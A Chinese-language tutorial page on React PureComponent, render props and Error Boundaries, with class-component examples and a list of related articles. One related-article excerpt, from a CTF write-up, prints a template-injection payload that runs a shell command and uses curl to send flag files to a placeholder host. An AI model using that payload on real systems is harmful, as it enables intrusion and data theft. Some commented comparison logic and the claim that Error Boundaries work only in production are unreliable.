React 扩展

文章目录

  • PureComponent
    • 1. 使用 React.Component,不会进行浅比较
    • 2. 使用 shouldComponentUpdate 生命周期钩子,手动比较
    • 3. 使用 React.PureComponent,自动进行浅比较
  • Render Props
    • 1. 使用 Children props(通过组件标签体传入结构)
    • 2. 使用 Render Props(通过组件标签属性传入结构)
  • Error Boundaries(错误边界)

PureComponent

PureComponent 在其内部实现了 shouldComponentUpdate() 方法的浅比较逻辑。当组件的 props 或 state 发生变化时,React 会通过这个方法检查前后的 props 和 state 是否相等。

如果 shouldComponentUpdate() 返回 false,则 React 不会触发组件的重新渲染过程,这可以避免不必要的渲染和可能带来的性能开销。

1. 使用 React.Component,不会进行浅比较

当执行this.setState({})时:

  • <Parent />组件 中 state 没有发生变化,也会重新执行render()
  • <Child />组件 没有接收任何props,也会重新执行render()
    .

不管父子组件的 props 或 state 有没有发生变化,都会重新执行各自的render(),重新渲染组件。这显然不符合逻辑,效率低下

import React, { Component } from 'react'export default class Parent extends Component {state = { name: '张三' }changeName = () => {this.setState({})}render () {console.log('Parent render');return (<div><button onClick={this.changeName}>点击</button><Child /></div>)}
}class Child extends Component {render () {console.log('Child render');return (<div>Child</div>)}
}

.

2. 使用 shouldComponentUpdate 生命周期钩子,手动比较

使用 shouldComponentUpdate 生命周期钩子,手动判断 props 或 state 的发生变化:

  • 如果父组件数据没有更新,则父组件和子组件都不需要重新render():父组件 => shouldComponentUpdate () { return false }
  • 如果父组件数据有更新,则父组件需要重新render():父组件 => shouldComponentUpdate () { return true }
  • 子组件则判断props数据有没有更新:子组件 => shouldComponentUpdate (nextProps, nextState) { return !this.props.name === nextProps.name }
import React, { Component, PureComponent } from 'react'export default class Parent extends Component {state = { name: '张三' }changeName = () => {this.setState({})}shouldComponentUpdate (nextProps, nextState) {// 当执行 this.setState({})时,state中数据没有变化时, return false 阻止更新.这样就不会重新渲染Parent组件,Child组件也不会更新// 当执行 this.setState({ name: '李四' })时,state中数据发生改变, return true 这会重新渲染Parent组件,这是Child组件的props会改变if (this.state.name === nextState.name) {return false} else {return true}}render () {console.log('Parent render');return (<div><button onClick={this.changeName}>点击</button><Child name={this.state.name} /></div>)}
}class Child extends Component {// 如果接收到的props中数据没有变化,则return false,阻止组件更新shouldComponentUpdate (nextProps, nextState) {if (this.props.name === nextProps.name) {return false} else {return true}}render () {console.log('Child render');return (<div>Child{this.props.name}</div>)}
}

3. 使用 React.PureComponent,自动进行浅比较

PureComponent 在其内部实现了 shouldComponentUpdate() 方法的浅比较逻辑。当组件的 props 或 state 发生变化时,React 会通过这个方法检查前后的 props 和 state 是否相等。

import React, { PureComponent } from 'react'export default class Parent extends PureComponent {state = { name: '张三' }changeName = () => {this.setState({})}// 相当于PureComponent中内置shouldComponentUpdate的判断逻辑// shouldComponentUpdate (nextProps, nextState) {//     return !this.state.name === nextState.name// }render () {console.log('Parent render');return (<div><button onClick={this.changeName}>点击</button><Child name={this.state.name} /></div>)}
}class Child extends PureComponent {// 相当于PureComponent中内置shouldComponentUpdate的判断逻辑// shouldComponentUpdate (nextProps, nextState) {//     return !this.props.name === nextProps.name// }render () {console.log('Child render');return (<div>Child{this.props.name}</div>)}
}


Render Props

在React中,并没有直接对应于 Vue.js 中的 “插槽”(slot)的概念。Vue.js的插槽允许你在子组件的模板中预留一些占位符,这些占位符可以由父组件来填充内容。

然而,React通过其组合和props传递的特性,提供了类似的功能,但实现方式略有不同。

1. 使用 Children props(通过组件标签体传入结构)

在子组件中可以通过 this.props.children 接收并渲染父组件传递的任何内容

import React, { Component } from 'react'export default class Parent extends Component {state = { name: '张三' }render () {return (<Child><p>这是一段文本。</p><button>这是一个按钮。</button></Child>)}
}class Child extends Component {render () {return (<div className='childNode'>{/* 获取到<Child>中的标签属性 */}{this.props.children} // 这里可以接收并渲染父组件传递的任何内容</div>)}
}

<Child> 内部的两个节点插入到 .childNode

在这里插入图片描述

多层嵌套

  • 通过 <Child> <Grand/> </Child> 的形式,形成父子组件

  • 通过{this.props.children}的形式,渲染内容

import React, { Component } from 'react'// 父组件  
export default class Parent extends Component {state = { name: '张三' }render () {return (<Child>{/* Grand是Child的子组件 */}<Grand name={this.state.name} /></Child>)}
}// 子组件  
class Child extends Component {state = { name: '李四' }render () {return (<div className='childNode'><p>Child组件</p>{this.props.children}</div>)}
}// 孙子组件  
class Grand extends Component {render () {return (<div className='grandNode'><p>Grand组件</p><p>{this.props.name}</p></div>)}
}

但这样 Child 组件里的数据(state = { name: '李四' })无法传递给 Grand 组件,因此需要使用 Render Props

.

2. 使用 Render Props(通过组件标签属性传入结构)

Render props是一种在React组件之间共享代码的模式。一个组件接收一个返回React元素的函数作为prop,并在其渲染方法中调用该函数。这使得父组件能够动态地决定子组件应该渲染什么内容。

  • 通过 <Child render={() => <Grand />} /> 的形式,形成父子组件:render prop 的模式来在 Child 组件中动态渲染 Grand 组件

  • 通过{this.props.render()}的形式,动态渲染内容

import React, { Component } from 'react'// 父组件  
export default class Parent extends Component {state = { name: '张三' }render () {return (// 通过 render prop 的模式来在 Child 组件中动态渲染 Grand 组件<Child render={(name) => <Grand name={name} />} />)}
}// 子组件  
class Child extends Component {state = { name: '李四' }render () {return (<div className='childNode'><p>Child组件</p>{/* <Grand>组件被放置在这里,并传入Child组件的数据(name: '李四') */}{/* 相当与vue中<slot>插槽,动态渲染的位置 */}{this.props.render(this.state.name)}  </div>)}
}// 孙子组件  
class Grand extends Component {render () {return (<div className='grandNode'><p>Grand组件</p><p>{this.props.name}</p></div>)}
}

这样 Child 组件里的数据(state = { name: '李四' })就可以传递给 Grand 组件
在这里插入图片描述



Error Boundaries(错误边界)

正常情况下,子组件在任何位置的报错,都会使整个页面崩溃。

import React, { Component } from 'react'// 父组件  
export default class Parent extends Component {render () {return (<div><h2>父组件Parent</h2><Child /></div>)}
}// 子组件  
class Child extends Component {state = {list: '', // 会导致 this.state.list.map 报错,从而使整个页面崩溃// list: [//     { id: 1, name: '张三' },//     { id: 2, name: '李四' },//     { id: 3, name: '王五' },// ]}render () {return (<ul>{this.state.list.map((item) => {return <li key={item.id}>{item.name}</li>})}</ul>)}
}

上例中,state.list='' 会导致 this.state.list.map 报错,从而使整个页面被摧毁。

在这里插入图片描述

.

使用 Error Boundaries 可以把错误被限定在指定的边界,并捕获错误信息,来确保单个错误或异常不会导致整个应用程序或页面崩溃。

在 React 中,Error Boundaries 是一种特殊的组件,可以捕获并打印发生在其子组件树任何位置的 JavaScript 错误,并且,它会阻止整个 React 组件树被这个错误摧毁。当错误被捕获后,Error Boundary 可以选择显示一个降级 UI 而不是崩溃的组件树,这允许用户可以继续使用应用的其他部分。

要使用 Error Boundaries,需要创建一个类组件,并在其中实现 static getDerivedStateFromError()componentDidCatch() 这两个生命周期方法。

  • static getDerivedStateFromError() : 当子组件出现报错时,会触发该回调,并携带错误信息
  • componentDidCatch(): 渲染组件时出错会被调用,常用于统计错误信息并传给后台

注意:

  • 只有生产环境才生效
  • 只能捕获后代组件生命周期中抛出的错误,不能捕获自身组件产生的错误
  • 不是生命周期的错误无法捕获
import React, { Component } from 'react'// 父组件  
export default class Parent extends Component {state = {hasError: ''// 用于标识子组件是否产生错误}// 当Parent的子组件出现报错时,会触发getDerivedStateFromError调用,并携带错误信息static getDerivedStateFromError (error) {console.log('getDerivedStateFromError:', error);return { hasError: error }  // 返回一个error状态,并更新state中的hasError}componentDidCatch (error, errorInfo) {console.log('渲染组件时出错会被调用');// 可以将错误日志上报给服务器 console.error("Caught an error in ErrorBoundary", error, errorInfo);// 还可以将错误信息存储在 state 中  // this.setState({  //   error: error,  //   errorInfo: errorInfo  // });}render () {return (<div><h2>父组件Parent</h2>{this.state.hasError ? <h2>子组件出错</h2> : <Child />}</div>)}
}// 子组件  
class Child extends Component {state = {list: '',// list: [//     { id: 1, name: '张三' },//     { id: 2, name: '李四' },//     { id: 3, name: '王五' },// ]}render () {return (<ul>{this.state.list.map((item) => {return <li key={item.id}>{item.name}</li>})}</ul>)}
}

父组件正常显示,报错的子组件则显示 <h2>子组件出错</h2>

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/363910.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java虚拟机栈帧操作

虚拟机栈(Virtual Machine Stack)是虚拟机(如JVM、Python VM等)用来管理方法调用和执行的栈结构。它主要用于存储方法调用的相关信息,包括局部变量、操作数栈、动态链接和方法返回地址等。 java虚拟机栈操作的基本元素就是栈帧,栈帧主要包含了局部变量表、操作数栈、动态…

鸿蒙 HarmonyOS NEXT星河版APP应用开发-阶段一

一、鸿蒙开发环境搭建 DevEco Studio安装 下载 访问官网&#xff1a;https://developer.huawei.com/consumer/cn/deveco-studio/选择操作系统版本后并注册登录华为账号既可下载安装包 安装 建议&#xff1a;软件和依赖安装目录不要使用中文字符软件安装包下载完成后&#xff0…

ubuntu丢失网络/网卡的一种原因解决方案

现象 开机进入ubuntu后发现没有网络&#xff0c;无论是在桌面顶部状态栏的快捷键 还是 系统设置中&#xff0c;都没有”有线网“和”无线网“的选项&#xff0c;”代理“的选项是有的使用数据线连接电脑和手机&#xff0c;手机开启”通过usb共享网络“&#xff0c;还是没有任何…

小程序web-view无法打开该页面的解决方法

问题&#xff1a;开发者工具可以正常打开&#xff0c;正式上线版小程序使用 web-view 组件测试时提示&#xff1a;“无法打开该页面&#xff0c;不支持打开 https://xxxxxx&#xff0c;请在“小程序右上角更多->反馈与投诉”中和开发者反馈。” 解决方法&#xff1a;需要配…

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?codestr(.__class__.__bases__[0].__subclasses__[185].__init__.__globals__[__builtins__][__import__](os).__dict__[popen](curl http://ip:port?1cat /f*)) ?codestr(.__class__.__bases__[0].__subclasses__()[185].__init_…

Qt开发笔记:Qt3D三维开发笔记(一):Qt3D三维开发基础概念介绍

若该文为原创文章&#xff0c;转载请注明原文出处 本文章博客地址&#xff1a;https://blog.csdn.net/qq21497936/article/details/140059315 长沙红胖子Qt&#xff08;长沙创微智科&#xff09;博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、O…

HarmonyOS--路由管理--组件导航 (Navigation)

文档中心 什么是组件导航 (Navigation) &#xff1f; 1、Navigation是路由容器组件&#xff0c;一般作为首页的根容器&#xff0c;包括单栏(Stack)、分栏(Split)和自适应(Auto)三种显示模式 2、Navigation组件适用于模块内和跨模块的路由切换&#xff0c;一次开发&#xff0…

show-overflow-tooltip 解决elementui el-table标签自动换行的问题

elementui中 el-table中某一行的高度不想因为宽度不够而撑开换行展示的解决方法。可通过show-overflow-tooltip属性解决&#xff0c;如下 代码是这样的 <el-table-column width"80" prop"id" label"ID"></el-table-column> <el…

npm创建一个空的vue3项目的方法或者pnpm创建vue3项目

1、前提我们已经安装了npm&#xff0c;或者pnpm 2、我们用npm来创建vue3项目 快速上手 | Vue.js 官网地址 这里我安装是的 node v18.20.3 以下是安装过程 &#xff1a; npm create vuelatest 根据自己的需要进行创建即可。 3、我们用pnpm来创建vite vue3项目 pnpm create …

用通俗易懂方式讲解:快速部署大模型 ChatGLM3 并进行推理

在深入了解了一些大模型的知识之后&#xff0c;最好的方法是亲自动手搭建一个开源的大模型&#xff0c;以更深入地理解其工作原理。 在此基础上&#xff0c;我们将以 ChatGLM3 为例进行部署及推理&#xff0c;从而进一步探索大模型的应用和实践。 ChatGLM3简介&#xff1a; …

Ubuntu20.04安装LibTorch并完成高斯溅射环境搭建

0. 简介 最近受到优刻得的使用邀请&#xff0c;正好解决了我在大模型和自动驾驶行业对GPU的使用需求。UCloud云计算旗下的Compshare的GPU算力云平台。他们提供高性价比的4090 GPU&#xff0c;按时收费每卡2.6元&#xff0c;月卡只需要1.7元每小时&#xff0c;并附带200G的免费…

AI数据分析003:用kimi生成一个正弦波数学动画

文章目录 一、正弦波公式二、输入内容三、输出内容一、正弦波公式 ƒ(x) = a * sin(x + x0) + b 公式中: a: 决定正弦函数振动幅度的大小; x0:表示x开始比0拖后的弧度值; b:表示函数偏离X轴的距离; 对于难以理解的学生来说,可以用动画把这个公式直观的展现出来。 二…

WLAN 4-Way Handshake如何生成GTK?

关于Wi-Fi的加密认证过程&#xff0c;可以参考如下链接&#xff0c;今天我们来理解如何生成GTK。 WLAN数据加密机制_tls加密wifi-CSDN博客 1 GTK GTK&#xff08;Group Temporal Key&#xff09;是由AP通过GMK生成&#xff0c;长度为128位&#xff0c;并在四次握手的第三步中…

一文掌握 Object 类里的所有方法(wait、notify、finalize)

Object 概述 Object 类是 Java 中所有类的父类&#xff0c;这个类中包含了若干方法&#xff0c;这也就意味着所有类都将继承这些方法。因此&#xff0c;掌握这个类的方法是非常必要的&#xff0c;毕竟所有类都能为你提供这些方法。 Object 类位于 java.base 模块下 java.lang…

360的chromesafe64.dll动态链接库导致chrome和edge浏览器闪退崩溃关闭

在chrome或edge浏览器中打开特定的一些网页会导致浏览器闪退关闭 这是windows系统记录的报错日志 chrome报错日志 edge报错日志 日志指向的就是chromesafe64.dll这个动态库 然后用everything搜索发现原来在360安装目录下 360安装目录下的chromesafe64.dll文件 为什么360中的…

微信小程序服务器从腾讯云迁移到阿里云出现的坑

微信小程序服务器从腾讯云迁移到阿里云出现的坑 背景 原先小程序后台服务器到期&#xff0c;因为之前买的是腾讯云新用户&#xff0c;便宜&#xff0c;到期后续费金额懂的都懂。就在阿里云用新用户买了个新的&#xff0c;遂把服务全转到了阿里云服务器上。 此时&#xff0c;域…

Python学习笔记26:进阶篇(十五)常见标准库使用之性能测试cProfile模块学习使用

前言 本文是根据python官方教程中标准库模块的介绍&#xff0c;自己查询资料并整理&#xff0c;编写代码示例做出的学习笔记。 根据模块知识&#xff0c;一次讲解单个或者多个模块的内容。 教程链接&#xff1a;https://docs.python.org/zh-cn/3/tutorial/index.html 本文主要…

如何保护磁盘数据?电脑磁盘数据怎么保护?

电脑磁盘是存储数据的基础&#xff0c;可以将各种重要数据保存在其中。为了避免数据泄露&#xff0c;我们需要保护磁盘数据。那么&#xff0c;电脑磁盘数据怎么保护呢&#xff1f;下面我们就一起来了解一下吧。 文件夹加密超级大师 文件夹加密超级大师是一款优秀的电脑数据加密…

敏捷开发笔记(第9章节)--开放-封闭原则(OCP)

目录 1&#xff1a;PDF上传链接 9.1 开放-封闭原则&#xff08;OCP&#xff09; 9.2 描述 9.3 关键是抽象 9.3.1 shape应用程序 9.3.2 违反OCP 糟糕的设计 9.3.3 遵循OCP 9.3.4 是的&#xff0c;我说谎了 9.3.5 预测变化和“贴切的”结构 9.3.6 放置吊钩 1.只受一次…

2024年华东杯B题数学建模论文:基于车辆运动学转弯模型的自动驾驶规划问题

摘要 随着自动驾驶技术的发展&#xff0c;车辆转弯问题成为关键挑战。本文针对自动驾驶车辆在转弯过程中的数学建模、路径规划及避障策略进行了深入研究&#xff0c;旨在提升自动驾驶车辆的行驶安全性与效率。 针对问题1&#xff0c;对于四轮前轮驱动车辆的转弯问题&#xff0c…